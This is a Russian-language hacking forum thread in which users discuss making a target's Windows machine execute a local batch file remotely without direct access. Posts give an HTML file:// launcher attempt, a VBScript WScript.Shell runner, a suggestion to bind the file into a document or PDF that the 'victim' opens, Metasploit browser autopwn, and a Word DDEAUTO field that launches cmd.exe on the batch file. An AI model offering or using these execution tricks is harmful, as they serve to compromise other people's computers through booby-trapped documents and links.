Как удаленно запустить локально файл.

[Том Лаксфер]

Доброго времени.

Система: Win10
Путь: C:\temp\run.bat
Цель: Запустить данный файл локально, без доступа.

Варианты: Отправить ярлык, в нём указать путь до: C:\temp\run.bat -> файл отработает.

Какие варианты и действия можно предпринять, чтобы запустить файл удалено и без соприкосновения с "целью"? Если зная путь до исходного файла, возможно ли через ссылку запустить его?

Попытался сделать через .html

MS Edge - Open hosts file
<br /><br />
<input value="Hosts File" type="button" onclick="openHosts()">
<br /><br />
Всем привет
<script>
function openHosts()
{
    url = "file:///C:/temp/run.bat";
    window.open(url, "", "width=300,height=300");

}

</script>
<plaintext>

Файл открывается в новом окне, обычным txt. Возможно ли сделать, чтобы при нажатии файл выполнялся?

Благодарю за помощь.

 

[anal_bunt]

Можно через запуск с другого файла, условно открываешь на рабочем столе vbs, который открывает исполнение файла по указанному пути.

 

[Том Лаксфер]

Можно через запуск с другого файла, условно открываешь на рабочем столе vbs, который открывает исполнение файла по указанному пути.

В IO - запрос на скачивание\выполнения файла.
В хроме VBS открывает как текстовой редактор.

 

[anal_bunt]

В IO - запрос на скачивание\выполнения файла.
В хроме VBS открывает как текстовой редактор.

имелось в виду, на рабочем столе файл .vbs с примерным содержанием:

Option Explicit
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.run "C:\temp\run.bat "
WScript.Quit

и запускать сам vbs, он приведет в исполнение батник. Речь же шла о том какие есть варианты запуска без прямого нажатия на батник и без создания ярлыка.

 

[Том Лаксфер]

имелось в виду, на рабочем столе файл .vbs с примерным содержанием:

Option Explicit
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.run "C:\temp\run.bat "
WScript.Quit

и запускать сам vbs, он приведет в исполнение батник. Речь же шла о том какие есть варианты запуска без прямого нажатия на батник и без создания ярлыка.

Можно через создание ярлыка: ПКП Создать - Ярлык -C:\temp\run.bat. Но его так же придётся запускать. Так же закинуть на рабочий стол, передать в архиве и т.д . Интересует, возможно ли запустить удаленно и без соприкосновением с целью через ссылку\возможный мессенджери\документ. Спасибо за помощь)

 

[anal_bunt]

Можно через создание ярлыка: ПКП Создать - Ярлык -C:\temp\run.bat. Но его так же придётся запускать. Так же закинуть на рабочий стол, передать в архиве и т.д . Интересует, возможно ли запустить удаленно и без соприкосновением с целью через ссылку\возможный мессенджери\документ. Спасибо за помощь)

через док/пдф если жертва откроет, можно склейку сделать

 

[yky]

metasploit autopwn если браузер старый

 

[☠xrahitel☠]

код с первого видео как понимаю )))

 

[nikto7531]

Можно попробовать вставить поле в вордовском документе :
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k C:\\temp\\run.bat "}. При открытии надо будет пару раз кликнуть.

Но на новых версиях office вроде уже отключили.​